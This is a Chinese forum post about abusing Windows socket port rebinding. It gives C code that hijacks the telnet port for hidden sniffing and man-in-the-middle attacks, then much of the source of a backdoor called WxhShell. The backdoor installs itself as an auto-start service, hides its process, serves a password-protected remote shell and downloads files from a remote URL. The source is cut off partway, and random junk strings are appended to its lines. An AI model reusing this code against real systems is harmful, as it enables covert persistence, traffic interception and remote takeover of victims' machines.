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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tJ(xeb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _pdKcE\X  
I5"wa:Z  
  saddr.sin_family = AF_INET; LHY7_"u#  
$?GggP d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z=Y29V8  
<nk|Z'G E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Nc+0_|,  
>G`p T#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hUMG}<  
c9/w{}F  
  这意味着什么?意味着可以进行如下的攻击: JH?ohA  
Cv#aBH'N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T~UDD3  
+5y^c |L0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ";/]rwHa)  
NpVL;6?7T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZKi&f,:  
//8W">u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T}Tv}~!f  
U%vTmdOY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <'=!f6Wh  
971=OEyq*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;.h /D4  
|V34;}\4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n.+*_c8k  
fN2Sio:  
  #include 4?pb!@l  
  #include /d&m#%9Up]  
  #include x1:mT[[$  
  #include    BK!Yl\I<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &4%pPL\f  
  int main() dS1HA>c)O  
  { *R6lK&  
  WORD wVersionRequested; J4qk^1m.  
  DWORD ret; 5o6IpF 0V  
  WSADATA wsaData; hb3n- rO  
  BOOL val; *f+s  
  SOCKADDR_IN saddr; uEgR>X>  
  SOCKADDR_IN scaddr; Yn?beu'  
  int err; 1Ek3^TOv7  
  SOCKET s; u7e$Mq  
  SOCKET sc; "leSQ  
  int caddsize; j*3;G+  
  HANDLE mt; p[4 +`8  
  DWORD tid;   2$JZ(qnN  
  wVersionRequested = MAKEWORD( 2, 2 ); hj];a,Br&  
  err = WSAStartup( wVersionRequested, &wsaData ); A"*=K;u/|m  
  if ( err != 0 ) { )"TVR{I%B  
  printf("error!WSAStartup failed!\n"); {C w.?JU  
  return -1; C^q|(G)  
  } Jt$YSp=!!  
  saddr.sin_family = AF_INET; YKe&Ph.  
   -mJs0E*g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a 4?A 5  
kF1$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x}2nn)fdZ  
  saddr.sin_port = htons(23); SkDr4kds  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @!iS`u  
  { (MXy\b<  
  printf("error!socket failed!\n"); Oti;wf G7o  
  return -1; c|<F8 n  
  } ?;tPqOs&  
  val = TRUE; rQv5uoD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &S="]*Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /Am9w$_T[  
  { B~:yM1f@u4  
  printf("error!setsockopt failed!\n"); 'bbw0aB4  
  return -1; k_t|) J  
  } u-~ec{oBu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1V,@uY)s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6vNW)1{nn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hT^&*}G  
IYn`&jS{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :uYZ1O  
  { gb,ZN^3<-  
  ret=GetLastError(); 3?E7\\/R  
  printf("error!bind failed!\n"); TX5??o  
  return -1; La6 9or   
  } rQzdHA  
  listen(s,2); O n0!>-b,  
  while(1) }/J"/ T  
  { +~=a$xA[C  
  caddsize = sizeof(scaddr); ,|c;x1|O  
  //接受连接请求 ^.J_w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dg.1{6HM  
  if(sc!=INVALID_SOCKET) =.s0"[%   
  { 0$Tb5+H5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {n>.Y -=  
  if(mt==NULL) l]wfL;u  
  { v[|-`e*  
  printf("Thread Creat Failed!\n"); .?:#<=1  
  break; r!b>!  
  } iq3)}hGo  
  } 8i$|j~M a  
  CloseHandle(mt); = V')}f~C  
  } ~AWn 1vFc  
  closesocket(s); \i?bt0bM  
  WSACleanup(); 7Td 9mkO  
  return 0; KsGW@Ho:  
  }   ZeG4z({af  
  DWORD WINAPI ClientThread(LPVOID lpParam) =m<b+@?T  
  { !{,2uQXe  
  SOCKET ss = (SOCKET)lpParam; }bi hlyB&Q  
  SOCKET sc; Lp%J:ogV`  
  unsigned char buf[4096]; C_3,|Zq?|  
  SOCKADDR_IN saddr; B _ J2Bf  
  long num; *_YH}U  
  DWORD val; ?h1g$SBxk  
  DWORD ret; Q|[^dju  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fhn$~8[_A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }#tbK 2[  
  saddr.sin_family = AF_INET; H|e7IsY%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j0"4X  
  saddr.sin_port = htons(23); m2~`EL>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N[-$*F,:_  
  { i<$?rB!i<1  
  printf("error!socket failed!\n"); 9b6U] z,  
  return -1; CqWO 0  
  } 'h;qI&  
  val = 100; Mk9J~'C_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L{1[:a)']B  
  { 6Ik v}q_j  
  ret = GetLastError(); uEhPO  
  return -1; ajG_t  
  } \PZ;y=]p}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,Y| ;V  
  { p<pGqW  
  ret = GetLastError(); 1fV)tvU$  
  return -1; Wm}T=L`  
  } )l(DtU!E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NZG ^B/  
  { |F\fdB}?S:  
  printf("error!socket connect failed!\n"); U:@tdH+A7  
  closesocket(sc); jT]R"U/Q  
  closesocket(ss); ?N9Z;_&^.  
  return -1; mQt0?c _  
  } PB*G#2W  
  while(1) toU<InN  
  { EqBTN07dZS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YnU*MC}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *T}c{/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6)ysiAH?  
  num = recv(ss,buf,4096,0); Jw;G_dQ[  
  if(num>0) eC<?g  
  send(sc,buf,num,0); S&&Q U #  
  else if(num==0) kZ6:= l  
  break; 1:yil9.\*  
  num = recv(sc,buf,4096,0); #y"LFoJn  
  if(num>0) UCj<FN `  
  send(ss,buf,num,0); YuHXm3[  
  else if(num==0) :}q)]W  
  break; v=dK2FaY  
  } 0dsL%G~/N  
  closesocket(ss); x1Z'_Qw  
  closesocket(sc); 7$Wbf4  
  return 0 ; ?MfwRWY  
  } ![4_K':=  
`WMU'ezF  
Z;tWV%F5  
========================================================== ~$//4kES  
S|KUh|=Q  
下边附上一个代码,,WXhSHELL T#:b  
{~#PM>f  
========================================================== hpbi!g  
6wbH{}\ll  
#include "stdafx.h" 4$mtc*tzT  
LOG>x!  
#include <stdio.h> 8 .K; 2  
#include <string.h> Wwr  
#include <windows.h> 1fM`n5?"  
#include <winsock2.h> eHIcfp@&  
#include <winsvc.h> r}(mjC"o  
#include <urlmon.h> e%)MIAS0  
6#qt%t%?D  
#pragma comment (lib, "Ws2_32.lib") 1A* "v  
#pragma comment (lib, "urlmon.lib") b5.]}>]t  
R?#=^$7U  
#define MAX_USER   100 // 最大客户端连接数 ~e)"!r  
#define BUF_SOCK   200 // sock buffer Y]`o-dV  
#define KEY_BUFF   255 // 输入 buffer tnBCO%uG  
Lr d-  
#define REBOOT     0   // 重启 ~gQYgv<7  
#define SHUTDOWN   1   // 关机 VV 54$a  
9pr.`w  
#define DEF_PORT   5000 // 监听端口 f;OB"p  
/<-=1XJI  
#define REG_LEN     16   // 注册表键长度 zK_P3r LsS  
#define SVC_LEN     80   // NT服务名长度 ,_<|e\>~  
X(.[rC>  
// 从dll定义API .r-Zz3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c/j+aj0.v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q`;eI a6U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KLu Og$i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9&6P,ts%Q  
wZJbI[r  
// wxhshell配置信息 k=d0%} `M(  
struct WSCFG { %\}5u[V  
  int ws_port;         // 监听端口 AOwmPHEL  
  char ws_passstr[REG_LEN]; // 口令 #_K<-m%9  
  int ws_autoins;       // 安装标记, 1=yes 0=no ([^f1;ncm  
  char ws_regname[REG_LEN]; // 注册表键名 [}l 90lP  
  char ws_svcname[REG_LEN]; // 服务名 FJKlqM5]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jf#-OlEQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0V86]zSo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 paMK]-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rz`"$g+#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lm<WT*@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o=Mm=;H  
D dCcsYm,  
}; *XYp~b  
Z( "-7_  
// default Wxhshell configuration w8:  
struct WSCFG wscfg={DEF_PORT, 5'V-Ly)*%  
    "xuhuanlingzhe", QoxQ"r9Wh  
    1, q\gbjci  
    "Wxhshell", 5')]Y1J  
    "Wxhshell", xsy45az<ip  
            "WxhShell Service", ;R<V-gab  
    "Wrsky Windows CmdShell Service", ,!PV0(F(  
    "Please Input Your Password: ", .wlKl[lE2  
  1, f87XE";:A  
  "http://www.wrsky.com/wxhshell.exe", s%>8y\MaK  
  "Wxhshell.exe" GDiyFTr  
    }; q"S,<I<f  
4M6[5RAW{  
// 消息定义模块 w-NTw2x,&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tdz#,]Q   
char *msg_ws_prompt="\n\r? for help\n\r#>"; knpdECq&k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~v:IgS  
char *msg_ws_ext="\n\rExit."; ufw[Ei$I:  
char *msg_ws_end="\n\rQuit."; s5Wb iOF  
char *msg_ws_boot="\n\rReboot..."; zKaj<Og  
char *msg_ws_poff="\n\rShutdown..."; bC) <K/Q9  
char *msg_ws_down="\n\rSave to "; rce._w }  
a"t~ K  
char *msg_ws_err="\n\rErr!"; 4%_xT o  
char *msg_ws_ok="\n\rOK!"; 4vvQ7e7  
R(8?9-w  
char ExeFile[MAX_PATH]; vfXNN F  
int nUser = 0; o-AF_N  
HANDLE handles[MAX_USER]; ]$s b<o .a  
int OsIsNt; rKT.~ZP\  
J6>tGKa+e  
SERVICE_STATUS       serviceStatus; _%\%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7xux%:BN  
A;&YPHB  
// 函数声明 /EegP@[  
int Install(void); c9c3o{(6Y  
int Uninstall(void); )~ &gBX  
int DownloadFile(char *sURL, SOCKET wsh); ab.B?bx  
int Boot(int flag); o61rTj  
void HideProc(void); fgC@(dvfk  
int GetOsVer(void); :qj;f];|  
int Wxhshell(SOCKET wsl); YTTi j|(  
void TalkWithClient(void *cs); G-R83Orl  
int CmdShell(SOCKET sock); bu $u@:q 6  
int StartFromService(void); JL{fW>5y|  
int StartWxhshell(LPSTR lpCmdLine); J~oxqw}  
2dHsM'ze  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o1*P|.`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3p?nQ O)L  
\DBEs02  
// 数据结构和表定义 fOdqr  
SERVICE_TABLE_ENTRY DispatchTable[] = }QQ 7jE  
{ $d4&H/u^  
{wscfg.ws_svcname, NTServiceMain}, ^K_FGE0ec  
{NULL, NULL} /(u? k%Q  
}; VZ">vIRyi|  
'iOa j0f  
// 自我安装 n\<7`,  
int Install(void) ,S<) )  
{ =VT\$ 5A  
  char svExeFile[MAX_PATH]; Qnt9x,1m_  
  HKEY key; #Q-#7|0&  
  strcpy(svExeFile,ExeFile); \Y8 sIs  
]>*VEe}hJ  
// 如果是win9x系统,修改注册表设为自启动 |-S+x]9  
if(!OsIsNt) { 'O.f}m SS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & BY\h:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .jC5 y&  
  RegCloseKey(key); kt\,$.v8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EA9.?F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jENC1T(  
  RegCloseKey(key); T}29(xz-(h  
  return 0; ?E}gm>  
    } 6%:~.ZfN  
  } ?$uF(>LD  
} P{:Zxli0  
else { w:iMrQeJg  
1CSGG'J]E  
// 如果是NT以上系统,安装为系统服务 ]\oT({$6B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1;i|GXY:h  
if (schSCManager!=0) 4GG>n  
{ #n15_cd  
  SC_HANDLE schService = CreateService SD:`l<l  
  ( ^q0`eS  
  schSCManager, 4sRg+mMI  
  wscfg.ws_svcname, }m%&|:PH  
  wscfg.ws_svcdisp, $/5\Hg1  
  SERVICE_ALL_ACCESS, eOkiB!G.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nHQ *#&$  
  SERVICE_AUTO_START, .XRe:\8mc  
  SERVICE_ERROR_NORMAL, i_l{#*t  
  svExeFile, Gm9  
  NULL, (NDC9Lls  
  NULL, J4U_utp  
  NULL, G51-CLM,  
  NULL, 7/k7V)  
  NULL /"m#mh L  
  ); ?z6K/'?  
  if (schService!=0) ja/wI'J<  
  { eH!V%dX  
  CloseServiceHandle(schService); {D :WXvI  
  CloseServiceHandle(schSCManager); !<VP[%2L~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Ub-ufkU  
  strcat(svExeFile,wscfg.ws_svcname); Li0+%ijM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i gjn9p&_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5K682+^5  
  RegCloseKey(key); v&7<f$5  
  return 0; :D;pDl  
    } q #7Nk)<.  
  } f\Hw Y)^>  
  CloseServiceHandle(schSCManager); :A:7^jrhi  
} ,O:p`"3`0=  
} 1ah,Zth2  
,Shzew+  
return 1; wq!9wk9  
} $sg-P|Wo  
"UhE'\()  
// 自我卸载 A #m_w*  
int Uninstall(void) N;BuBm5K  
{ 1>Vq<z  
  HKEY key; &V SZ  
S1@r.z2L  
if(!OsIsNt) { ,aBy1K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {hN<Ot  
  RegDeleteValue(key,wscfg.ws_regname); !7Qj8YmS  
  RegCloseKey(key); I|K!hQ"m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :oC;.u<*8  
  RegDeleteValue(key,wscfg.ws_regname); *8;<w~  
  RegCloseKey(key); ' S,g3  
  return 0; gzH;`,  
  } * a1q M?  
} eY^zs0  
} PVdN)tG5  
else { ~)>.%`v&  
. .S3-(xW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UzIE,A  
if (schSCManager!=0) >"b\$",~6  
{ +Zr~mwM=x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4KSq]S.  
  if (schService!=0) :[f[-F  
  { +~o f#  
  if(DeleteService(schService)!=0) { =3SJl1w1  
  CloseServiceHandle(schService); HkhZB^_V  
  CloseServiceHandle(schSCManager); LjW32>B  
  return 0; +|8.ymvm  
  } ,L~aa?Nb-  
  CloseServiceHandle(schService); 8y_(Iu|:  
  } c9Cc%EK  
  CloseServiceHandle(schSCManager); xx7&y !_  
} k$8Zg*)  
} NG:4Q.G1g  
@OUBo;/  
return 1; JdUdl_D z  
} TgDT  
K3h7gY|.  
// 从指定url下载文件 nR@mm j  
int DownloadFile(char *sURL, SOCKET wsh) E]g6|,4~-  
{ ^-n^IR}J  
  HRESULT hr; (vzYgU,  
char seps[]= "/"; ~&F|g2:  
char *token; _y>drvg  
char *file; $FX$nY  
char myURL[MAX_PATH]; yM9>)SE5`  
char myFILE[MAX_PATH]; ~UQ<8`@a  
5!$sQ@#}D  
strcpy(myURL,sURL); +opym!\  
  token=strtok(myURL,seps); AFvv+ ss  
  while(token!=NULL) }U5$~, *p  
  { XkoPN]0n  
    file=token; ;V?(j 3b[  
  token=strtok(NULL,seps); 0.nkh6 ?  
  } "iX\U'`  
|JWYsqJ0U  
GetCurrentDirectory(MAX_PATH,myFILE); n c~JAT# '  
strcat(myFILE, "\\"); :AqtPV'  
strcat(myFILE, file); *&_cp]3-WF  
  send(wsh,myFILE,strlen(myFILE),0); aj .7t =^  
send(wsh,"...",3,0); )1@%!fr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /uDcJ1u66  
  if(hr==S_OK) gM]E8%;{  
return 0; B^zg#x#8  
else Lyn{Uag  
return 1; ;~[}B v  
-O=xgvh"  
} SK@ p0:  
TqV^\C?  
// 系统电源模块 sMUpkU-  
int Boot(int flag) yENAcsv  
{ #8M^;4N >[  
  HANDLE hToken; h&d"|<  
  TOKEN_PRIVILEGES tkp; N `fFYO  
kX}sDvP3  
  if(OsIsNt) { S# baOO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #6 [F&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~dLbhjde n  
    tkp.PrivilegeCount = 1; ,C 0y3pL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W7_m,{q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \.sC{@5K  
if(flag==REBOOT) { NYG!\u\Rm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :5T=y @  
  return 0; ~EXCYUp4v  
} R~[~(`/S  
else { 2Kr>93O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Df*<3G  
  return 0; k W 8>VnW  
} 2P@6Qe ?  
  } 0nB[Udk?  
  else { >m <T+{`  
if(flag==REBOOT) { ~[og\QZX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yuJ>xsM  
  return 0; e00 }YWf%  
} qR?}i,_  
else { 8+".r2*_iO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !hS)W7!ik  
  return 0; '!?t+L%gO  
} ,2 W=/,5A  
} n|DMj[uT  
g&EK^q  
return 1; 34k>O  
} *vIP\NL?H  
g"Ueo'd*  
// win9x进程隐藏模块 y^nT G  
void HideProc(void) ]SPuNBsy)  
{ +_bxza(ma{  
*fv BB9raq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )8aHj4x  
  if ( hKernel != NULL ) k\j_hu  
  { "%a<+D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W+U0Y,N6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }gt)cOaY  
    FreeLibrary(hKernel); g"m9[R=]6  
  } &HAu;u@  
d8+@K&z|  
return; ^ACrWk~UY  
} J-uQF|   
|s(Ih_Zn  
// 获取操作系统版本 l`A&LQ[  
int GetOsVer(void) 4E2/?3D  
{ |mbD q\U  
  OSVERSIONINFO winfo; =>evkaj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mXS]SE  
  GetVersionEx(&winfo); XK@&$~iA3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YX)Rs Vf  
  return 1; r@vt.t0#  
  else XOI"BLd  
  return 0; )rAJ>;  
} '@M"#`#0  
q+p}U}L= k  
// 客户端句柄模块 Gr/}&+S  
int Wxhshell(SOCKET wsl) 2QAP$f0Ln  
{ #-+Q]}fB4  
  SOCKET wsh; Y3(MKq  
  struct sockaddr_in client; ']I!1>v$[  
  DWORD myID; q+*\'H>  
+Ss3Ph  
  while(nUser<MAX_USER) M eep  
{ aBG^Xhx  
  int nSize=sizeof(client); *V\.6,^v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /je $+  
  if(wsh==INVALID_SOCKET) return 1; 5G(dvM-n  
aT}Hc5L,b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2Vf242z_  
if(handles[nUser]==0) U$+,|\9  
  closesocket(wsh); v@q&B|0  
else |o9`h9i  
  nUser++; jn(!6\n"  
  } ){'<67dK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); } eHxw+.  
b)e;Q5Z(.  
  return 0; DQP!e6Of  
} tvFe_*Ck  
+L.D3  
// 关闭 socket 6S_mfWsi  
void CloseIt(SOCKET wsh) dhnX\/  
{ 9s[   
closesocket(wsh); m;>G]Sbe  
nUser--; Ert={"Q  
ExitThread(0); Eri007?D  
} PLz+%L;{  
4u%AZ<-C}m  
// 客户端请求句柄 /!?Tv8TPp  
void TalkWithClient(void *cs) &S 66M2  
{ n;kWAYgg  
)AR- b8..o  
  SOCKET wsh=(SOCKET)cs; g}R Cjl4  
  char pwd[SVC_LEN]; `L7^f!  
  char cmd[KEY_BUFF]; \zFCph4  
char chr[1]; ,VEE<* 'X  
int i,j; U/s Z1u-  
ED79a:  
  while (nUser < MAX_USER) { L?j<KW  
HK<S|6B7V  
if(wscfg.ws_passstr) { %k['<BYG<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G!I5Er0pdy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [f  lK  
  //ZeroMemory(pwd,KEY_BUFF); $ ~%Y}Xt*  
      i=0; 8,[ *BgeX  
  while(i<SVC_LEN) { s[h;9 I1w  
[hg9 0Q6  
  // 设置超时 :{Z%dD  
  fd_set FdRead; *WJK&  
  struct timeval TimeOut; 8N9,HNBT$  
  FD_ZERO(&FdRead); j?]+~  
  FD_SET(wsh,&FdRead); C(B"@   
  TimeOut.tv_sec=8; ~aQR_S  
  TimeOut.tv_usec=0; OAW_c.)5D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VWK/(>TP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &K9RV4M5  
M!!vr8}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \I4Uj.'> \  
  pwd=chr[0]; Z`GEF|eh  
  if(chr[0]==0xd || chr[0]==0xa) { ;R2A>f~  
  pwd=0; Q#ksf h!D  
  break; jCNR63/  
  }  f-[.^/  
  i++; rDoMz3[w  
    } U"Bge\6x=  
l$c/!V[3  
  // 如果是非法用户,关闭 socket PX&}g-M9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2h*aWBLk  
} #<m2Xo?d]  
'sa)_?Hy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~~k0&mK|Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f B]2"(  
S["r @<  
while(1) { /`aPV"$M  
#>lbpw  
  ZeroMemory(cmd,KEY_BUFF); /@&o%I3h  
/=9dX; #  
      // 自动支持客户端 telnet标准   [] "bn9 +  
  j=0; u0oTqD?  
  while(j<KEY_BUFF) { d`$w3Hy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q^wSM  
  cmd[j]=chr[0]; qyKR]%yzi  
  if(chr[0]==0xa || chr[0]==0xd) { xnWezO_  
  cmd[j]=0; _<c}iZv@  
  break;  Q$`uZ  
  }  g;AW  
  j++; 4o@:+T:1  
    } 5-({z%:P  
lAC "7 Z?F  
  // 下载文件 ks%;_~b  
  if(strstr(cmd,"http://")) { ^ . A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $w-@Oa*h9U  
  if(DownloadFile(cmd,wsh)) 46\!W(O~y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a#CjGj)  
  else v6uRzFw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gPd ,  
  } !m'Rp~t  
  else { Y@MxKKuj  
>z fx2wh\a  
    switch(cmd[0]) { ""N~##)8  
  |{ZdAr.;  
  // 帮助 FoZI0p?L)9  
  case '?': { e!w2_6?3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N,VI55J:y>  
    break; la 0:jO5  
  } {]m/15/$C  
  // 安装 T4ugG?B*  
  case 'i': { ]{+Y!tD  
    if(Install()) vAeVQ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B^R44j]3"  
    else YG0b*QBY~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K g.O2F77  
    break; w6Mv%ZO_  
    } y )<+?@sP  
  // 卸载 (./Iq#@S  
  case 'r': { KV6D0~  
    if(Uninstall()) CMv8n@ry  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Id"|/b%$  
    else "<)Jso|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eHd7fhW5  
    break; 9 p^gF2?k  
    }  i?eVi  
  // 显示 wxhshell 所在路径 2 1+[9  
  case 'p': { aZtM _  
    char svExeFile[MAX_PATH]; C,LosAd  
    strcpy(svExeFile,"\n\r"); r/P}j4)b7  
      strcat(svExeFile,ExeFile); 7<B-2g  
        send(wsh,svExeFile,strlen(svExeFile),0); %AWc`D  
    break; rp[3?-fk  
    } n3-VqYUP  
  // 重启 c"1Z,M;G  
  case 'b': { n)35-?R/M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); })J}7@VPO  
    if(Boot(REBOOT)) uAoZ&8D6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WoNY8 8hT  
    else { S9%,{y  
    closesocket(wsh); `(I$_RSE")  
    ExitThread(0); $ye>;Ek  
    } AUIp vd  
    break; C[#C/@  
    } vr2PCG[~  
  // 关机 B/!/2x  
  case 'd': { WA:r4V  
